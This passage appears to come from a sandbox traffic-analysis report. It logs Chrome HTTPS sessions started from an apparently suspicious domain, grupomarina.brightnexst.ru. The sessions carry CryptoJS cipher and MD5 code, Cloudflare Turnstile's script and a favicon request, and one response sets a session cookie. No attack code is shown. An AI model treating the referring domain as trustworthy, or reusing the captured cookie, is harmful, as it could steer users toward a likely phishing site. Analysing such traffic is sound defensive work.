e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e Data Ascii: (var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b Data Ascii: ;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a Data Ascii: er,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f Data Ascii: charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNO
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 Data Ascii: (a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=th
2025-03-17 20:55:02 UTC	1369	IN	Data Raw: 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c Data Ascii: ]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49717	104.18.95.41	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:03 UTC	698	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:03 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:03 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 921f6396fc6f8c3b-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 20:55:03 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-17 20:55:03 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49721	104.16.6.189	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:04 UTC	647	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:04 UTC	741	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:04 GMT Content-Type: image/png Content-Length: 937 Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate Etag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Cf-Ray: 921f639c095643f8-EWR Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Set-Cookie: __cf_bm=QLIcY8zuRXkneduiM6OiCyNJFAdVng3DHFdLxD_QGD4-1742244904-1.0.1.1-CmjGgIbP4agpLv8m1vdI5en4sDXTII5DRrhGYBzfcy2viX4bO7YAMn5BeXAR8QFG_nTY7oy2NAljL2pUq6hYeVL21uR3v5wrsGyysyAqPP4; HttpOnly; SameSite=None; Secure; Path=/; Domain=developers.cloudflare.com; Expires=Mon, 17 Mar 2025 21:25:04 GMT alt-svc: h3=":443"; ma=86400
